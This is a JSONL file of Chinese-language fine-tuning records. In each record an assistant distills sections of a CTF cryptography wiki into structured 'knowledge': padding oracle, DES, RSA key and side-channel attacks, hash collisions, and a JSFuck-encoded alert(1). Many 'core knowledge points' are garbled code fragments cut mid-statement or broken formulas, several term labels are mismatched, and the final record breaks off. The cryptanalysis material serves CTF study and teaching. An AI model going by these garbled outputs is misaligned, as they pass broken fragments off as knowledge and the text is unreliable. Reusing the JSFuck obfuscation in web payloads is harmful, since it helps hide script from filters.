{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-54e7328afb3fee9e40d5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/padding-oracle-attack.md` 中的章节「解密任意加密块」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/padding-oracle-attack.md`\n标题：Padding Oracle Attack\n章节：Padding Oracle Attack > Teaser Dragon CTF 2018 AES-128-TSB > 解密任意加密块\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“解密任意加密块”展开。\n- 在获取了明文最后一个字节后，我们就可以利用 unpad 的漏洞，从长度 1 枚举到长度 15 来获得对应的明文内容。\n- = '': break plain0 += chr(iv_last ^ last_byte) return plain0 ``\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- blockcipher\n- mode\n- padding-oracle-attack.md\n- code:python\n\n代码/命令片段线索：\n- python: 33 行，首行 `def dec_block(iv, block):`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 781, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "解密任意加密块", "heading_path": ["Padding Oracle Attack", "Teaser Dragon CTF 2018 AES-128-TSB", "解密任意加密块"], "original_id": "docs-ac045ee1c45eec3fe30f", "original_line": 347, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "source_root": "docs", "source_sha256": "fb6fc7debd8aad3192ba0bd4d4358db49797dce32d33424ec6924178ff669f36", "split": "train", "split_group_key": "08fa89eebb17172ce8558df2", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "blockcipher", "mode", "padding-oracle-attack.md", "code:python"], "title": "Padding Oracle Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-5691e4f82cda37328737", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/des.md` 中的章节「2019 CISCN part_des」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/des.md`\n标题：DES\n章节：-- coding: utf-8 -- > 2019 CISCN part_des\n路径分类：crypto / crypto/blockcipher/des.md\n分块：1/3\n\n核心知识点：\n- 本节主题围绕“2019 CISCN part_des”展开。\n- n 的选择，在本题中，我们并不知道 n，但这无关紧要，我们可以尝试所有可能的取值（0-15）flag应为ascii字符串。\n- note \"解题代码\" `` python kkk = 16 def bit_rot_left(lst, pos): return lst[pos:] + lst[:pos]\n- 子密钥的选取，对于只进行了n轮的加密结果，解密时应依次使用密钥 n, n-1..., 1。\n- des 最后一轮后的操作，未完成的 des 没有交换左右两部分和逆初始置换，因此解密时我们应先对密文进行这两步操作。\n\n关键术语：\n- 密码学\n- crypto\n- blockcipher\n- des.md\n\n代码/命令片段线索：\n- plain: 2 行，首行 `Round n part_encode-> 0x92d915250119e12b`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 643, "chunk_count": 3, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "2019 CISCN part_des", "heading_path": ["-- coding: utf-8 --", "2019 CISCN part_des"], "original_id": "docs-e920d54f50417764cac2", "original_line": 322, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/des.md", "source_root": "docs", "source_sha256": "cbcf7f36c02c6bc816fe0df275a1c9dcf3dce505e33f2e1d5574f202caffa303", "split": "train", "split_group_key": "bbfca2611688e5b4124ea3d3", "subcategory": "crypto/blockcipher/des.md", "terms": ["密码学", "crypto", "blockcipher", "des.md"], "title": "DES"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/des.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-56a77a04b3d72d86a07a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md` 中的章节「攻击原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md`\n标题：私钥 d 相关攻击\n章节：私钥 d 相关攻击 > d 泄露攻击 > 攻击原理\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“攻击原理”展开。\n- 其基本原理如下 我们知道 $ed \\equiv 1 \\bmod \\varphi(n)$，那么存在一个 $k$ 使得 $$ ed-1=k\\varphi(n) $$ 又 $\\forall a\\in {Z}_n^$，满足$a^{ed-1}\\equiv1(\\bmod n)$。\n- 然后可以证明对于至少一半的 $a\\in {Z}_n^$，存在一个 $i\\in[1,s]$，使得 $$ a^{2^{i-1}t}\\not\\equiv\\pm1(\\bmod n),a^{2^{i}t}\\equiv1(\\bmod n) $$ 成立。\n- 如果 $a,i$ 满足上述条件，$gcd(a^{2^{i-1}t}-1,n)$是 $n$ 的一个非平凡因子，所以可以对 $n$ 进行暴力分解。\n- 首先当 $d$ 泄露之后，我们自然可以解密所有加密的消息。\n- 令 $$ ed-1=2^st $$ 其中，$t$ 是一个奇数。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- d-attacks\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 412, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "攻击原理", "heading_path": ["私钥 d 相关攻击", "d 泄露攻击", "攻击原理"], "original_id": "docs-915ac593ae0273ec7819", "original_line": 16, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md", "source_root": "docs", "source_sha256": "85e633de5d16e7597fac6a71304dd445659827d367ca09779c36046b10dde498", "split": "train", "split_group_key": "778f2c39cc3b9d7b72040861", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "d-attacks"], "title": "私钥 d 相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-56b5ad34c5b79f375da1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_side_channel.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_side_channel.md`\n标题：RSA 侧信道攻击\n章节：RSA 侧信道攻击 > 例子 > 分析\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析”展开。\n- 由于网站只给出了一条能量迹，所以可以断定这是 Simple channel analysis（SPA）攻击。\n- 那么我们可以直接通过观察能量迹的高低电平来获得 RSA 解密过程的密钥 d。\n- RSA 可被 SPA 攻击的理论基础来自于 RSA 中包含的快速幂取余算法。\n- 快速幂算法如下 1. b 为偶数时，$a^b \\bmod c = ({a^2}^{b/2}) \\bmod c$。\n- 2. b 为奇数时，$a^b \\bmod c = ({a^2}^{b/2} \\times a) \\bmod c$。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-side-channel.md\n- code:c\n\n代码/命令片段线索：\n- c: 12 行，首行 `int PowerMod(int a, int b, int c)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1141, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "分析", "heading_path": ["RSA 侧信道攻击", "例子", "分析"], "original_id": "docs-60b4e73ceb75a13ade53", "original_line": 276, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_side_channel.md", "source_root": "docs", "source_sha256": "35a40b48f8bf1c21bd84fbae23814f03d326cbabdbe626313d35eb6fd7d63e12", "split": "train", "split_group_key": "ac5fe3e204f326b68cbd16a7", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-side-channel.md", "code:c"], "title": "RSA 侧信道攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_side_channel.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-572533df84e01448667e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/hash/fnv.md` 中的章节「2**168 + 355」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/hash/fnv.md`\n标题：Fowler–Noll–Vo hash function\n章节：2**168 + 355\n路径分类：crypto / crypto/hash/fnv.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2**168 + 355”展开。\n- 这可以认为是 LLL Paper 中第二个例子的简单情况（参见格问题部分）。\n- = 0: print \"Zero not reached, increase K\" exit() else: msg = [] for i in xrange(N): msg.append(base[i] + ttt[i]) if not (0 <= msg[i] <= 255): print \"Need more bytes!\n- \" quit() print msg other = ''.join(map(chr, msg)) print shitty_hash(base_str) print shitty_hash(other) ` 注意不能直接仅仅使用 pow(g, N - i, mod)，不然生成的数会在 mod 对应的域中，这真是个大坑。\n- g = 374144419156711147060143317175368453031918731002211L def shitty_hash(msg): h = h0 msg = map(ord, msg) for i in msg: h = (h + i) g # This line is just to screw you up :)) h = h & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff return h...\n\n关键术语：\n- 密码学\n- crypto\n- hash\n- fnv.md\n\n代码/命令片段线索：\n- plain: 12 行，首行 `题目希望我们给出两个消息，其哈希值相同。如果我们将该函数展开的话，那么`\n- plain: 2 行，首行 `注意不能直接仅仅使用 pow(g, N - i, mod)，不然生成的数会在 mod 对应的域中，这真是个大坑。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 2662, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "2**168 + 355", "heading_path": ["2**168 + 355"], "original_id": "docs-761999f18fbe4289ff7c", "original_line": 403, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/fnv.md", "source_root": "docs", "source_sha256": "990db59017bfe7cf6034b06615d4e94a768405f88debb3039f682daffa73ee44", "split": "train", "split_group_key": "06212609ea91931528309286", "subcategory": "crypto/hash/fnv.md", "terms": ["密码学", "crypto", "hash", "fnv.md"], "title": "Fowler–Noll–Vo hash function"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/fnv.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-5b352c0bceacb8cd04ad", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_e_attack.md` 中的章节「读取公钥参数」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_e_attack.md`\n标题：公钥指数相关攻击\n章节：读取公钥参数\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“读取公钥参数”展开。\n- with open('pubkey.pem', 'r') as f: key = RSA.importKey(f) N = key.n e = key.e with open('flag.enc', 'r') as f: cipher = f.read().encode('hex') cipher = string.atoi(cipher, base=16) # print cipher print \"please input p\" p = int(raw_input(), 10) print 'please...\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-e-attack.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 297, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "读取公钥参数", "heading_path": ["读取公钥参数"], "original_id": "docs-49d7877583cc22746914", "original_line": 264, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_e_attack.md", "source_root": "docs", "source_sha256": "a3d814d7714e3247d02eef8fcc9670e09cc807aee257b5c82d9b3727c831cff4", "split": "train", "split_group_key": "1db6ec19c529b5c0e1860870", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-e-attack.md"], "title": "公钥指数相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_e_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-5c5d407880ca5de96f29", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_e_attack.md` 中的章节「计算a,b,c,d」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_e_attack.md`\n标题：公钥指数相关攻击\n章节：计算a,b,c,d\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“计算a,b,c,d”展开。\n- = 0: s = '0' + s print s.decode('hex') `` 拿到 flag，PCTF{sp3ci4l_rsa}`。\n- a = (inv_p p mq + inv_q q mp) % N b = N - int(a) c = (inv_p p mq - inv_q q mp) % N d = N - int(c) for i in (a, b, c, d): s = '%x' % i if len(s) % 2 !\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-e-attack.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 242, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "计算a,b,c,d", "heading_path": ["计算a,b,c,d"], "original_id": "docs-d5f5ca67807bdd17fcbc", "original_line": 265, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_e_attack.md", "source_root": "docs", "source_sha256": "a3d814d7714e3247d02eef8fcc9670e09cc807aee257b5c82d9b3727c831cff4", "split": "train", "split_group_key": "f6c8ee158d3ca287f7ac2cf8", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-e-attack.md"], "title": "公钥指数相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_e_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-5d94d9613db71e42bacd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/basic/introduction.md` 中的章节「环和域」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/basic/introduction.md`\n标题：基础数学知识\n章节：基础数学知识 > 群 > 环和域\n路径分类：crypto / crypto/basic/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“环和域”展开。\n- 给定一个集合 $R\\neq\\varnothing$ 以及其上的两个二元代数运算「 $+$ 」和「 $\\circ$ 」，如若它们满足如下性质： 1. $(R,+)$ 作成交换群；\n- 2. $R$ 对运算「 $\\circ$ 」满足结合律： $\\forall v, u, w \\in R,$ 皆有 $(v \\circ w) \\circ u = v \\circ (w \\circ u);\n- $ 3. 分配律（Distributivity）： $\\forall v, u, w \\in R,$ 皆有 $w \\circ (v + u) = w \\circ v + w \\circ u$ 与 $(v + u) \\circ w = v \\circ w + u \\circ w$ 成立；\n- 则称集合 $R$ 对此二代数运算作成一个环（Ring），记作 $(R,+,\\circ)$，并常分别称运算「$+$」和「$\\circ$」为加法和乘法。\n- 如若环 $R$ 上的乘法存在单位元 i.e. $\\exists e \\in G, \\forall v \\in G,$ 皆有 $e \\circ v = v,$ 则称环 $R$ 为幺环（Ring with identity）；\n\n关键术语：\n- 密码学\n- crypto\n- basic\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 882, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "环和域", "heading_path": ["基础数学知识", "群", "环和域"], "original_id": "docs-159fefe94b305f7c9ba2", "original_line": 310, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/basic/introduction.md", "source_root": "docs", "source_sha256": "6bd61ccc5c5b508b02ed9bd72f41166b716765584fc608abb06dafa277590d6f", "split": "train", "split_group_key": "11d813e6b624c4b366677ed6", "subcategory": "crypto/basic/introduction.md", "terms": ["密码学", "crypto", "basic", "introduction.md"], "title": "基础数学知识"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/basic/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-5ea47413a07e26391b6a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md` 中的章节「2018 Google CTF Perfect Secrecy」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md`\n标题：RSA 选择明密文攻击\n章节：RSA 选择明密文攻击 > RSA parity oracle > 2018 Google CTF Perfect Secrecy\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2018 Google CTF Perfect Secrecy”展开。\n- 乍一看，似乎是完全随机的，仔细查一下 random.randint(0, 2) 可以知道其生成随机数是包括边界的，因此其生成偶数的概率大于生成奇数的概率，那么 c 与 p 同奇偶的概率为 2/3。\n- 这其实就是 RSA parity oracle。\n- 进而我们通过设置 m0 和 m1 就可以知道解密后的密文的最后一位是 0 还是 1 。\n- 这里以 2018 年 Google CTF 的题目为例进行分析 ``python #!\n- 服务器会使用 random.randint(0, 2) 来生成随机数，并输出相关的随机 01 字节 c。\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- asymmetric\n- rsa\n- rsa-chosen-plain-cipher.md\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- python: 33 行，首行 `#!/usr/bin/env python3`\n- python: 39 行，首行 `from pwn import *`\n- shell: 1 行，首行 `653302179745043262500372619228518168005406184330396116144445967987462188078789344534269802972820329897435625573208634...`\n- shell: 1 行，首行 `[FLAG_REDACTED]`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 3205, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "2018 Google CTF Perfect Secrecy", "heading_path": ["RSA 选择明密文攻击", "RSA parity oracle", "2018 Google CTF Perfect Secrecy"], "original_id": "docs-9d5dcb95a4f2dea83c58", "original_line": 232, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md", "source_root": "docs", "source_sha256": "533e2ebc164c0999a6dcbeff80e06752048928d69e096798072b5d973d6484d7", "split": "train", "split_group_key": "8d0110a66b62da5784aa29ad", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "AI安全", "crypto", "asymmetric", "rsa", "rsa-chosen-plain-cipher.md", "code:python", "code:shell"], "title": "RSA 选择明密文攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-5f824e07ffd92e819959", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md` 中的章节「2015 PlaidCTF Curious」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md`\n标题：Coppersmith 相关攻击\n章节：Coppersmith 相关攻击 > Boneh and Durfee attack > 2015 PlaidCTF Curious\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2015 PlaidCTF Curious”展开。\n- 这时候我们可以考虑使用 Wiener's Attack，这里我们使用更强的目前介绍的攻击。\n- 这里我们以 2015 年 PlaidCTF Curious 为例进行介绍。\n\n关键术语：\n- 堆\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-coppersmith-attack.md\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- python: 24 行，首行 `nlist = list()`\n- shell: 3 行，首行 `=== solution found ===`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 846, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "2015 PlaidCTF Curious", "heading_path": ["Coppersmith 相关攻击", "Boneh and Durfee attack", "2015 PlaidCTF Curious"], "original_id": "docs-42cf01d127e819c44457", "original_line": 257, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "source_root": "docs", "source_sha256": "db220315af2be2a8291b622dd2df0469bd60abd814130105e60db525c7d32fa0", "split": "train", "split_group_key": "332088bb58e85debaf866d6b", "subcategory": "crypto/asymmetric/rsa", "terms": ["堆", "密码学", "AI安全", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-coppersmith-attack.md", "code:python", "code:shell"], "title": "Coppersmith 相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-5fd6942495e8a36d0269", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/others.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/others.md`\n标题：其它类型加密\n章节：其它类型加密 > JSFuck > 原理\n路径分类：crypto / crypto/classical/others.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 比如我们想用 JSFuck 来实现 alert(1) 代码如下 ``javascript [][(!\n- +[]]]])() ` 其他一些基本的表达： `javascript false => !\n- [] Function => [][\"filter\"] eval => [][\"filter\"]\"constructor\"() window => [][\"filter\"]\"constructor\"() ``\n- []+[])[+[[+[]]]]+([][[]]+[])[+[[!\n\n关键术语：\n- 密码学\n- crypto\n- classical\n- others.md\n- code:javascript\n\n代码/命令片段线索：\n- javascript: 1 行，首行 `[][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[...`\n- javascript: 15 行，首行 `false => ![]`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 2096, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "原理", "heading_path": ["其它类型加密", "JSFuck", "原理"], "original_id": "docs-40c46ccb4cbd1ef4d62f", "original_line": 372, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/others.md", "source_root": "docs", "source_sha256": "fec39924776c8c5b10bcab7894ea71cb2fc1da23f7e37fe39babf9d7dda47d46", "split": "train", "split_group_key": "4bc6142fc1fa6c8224d4d3ba", "subcategory": "crypto/classical/others.md", "terms": ["密码学", "crypto", "classical", "others.md", "code:javascript"], "title": "其它类型加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/others.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-6013a998a7a2af640863", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/streamcipher/prng/problem.md` 中的章节「2017 Tokyo Westerns CTF 3rd Backpacker's Problem」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/streamcipher/prng/problem.md`\n标题：题目\n章节：题目 > 2017 Tokyo Westerns CTF 3rd Backpacker's Problem\n路径分类：crypto / crypto/streamcipher/prng\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“2017 Tokyo Westerns CTF 3rd Backpacker's Problem”展开。\n- 这里背包的大小最大是 $200$，显然不可能使用暴力破解的方式 有两种解法，分治和格，这里我们讲 分治策略: 对于 $n > 20$ 的情况，将问题分解为前 $20$ 个元素和剩余元素的子集和问题，利用哈希表快速查找符合条件的子集 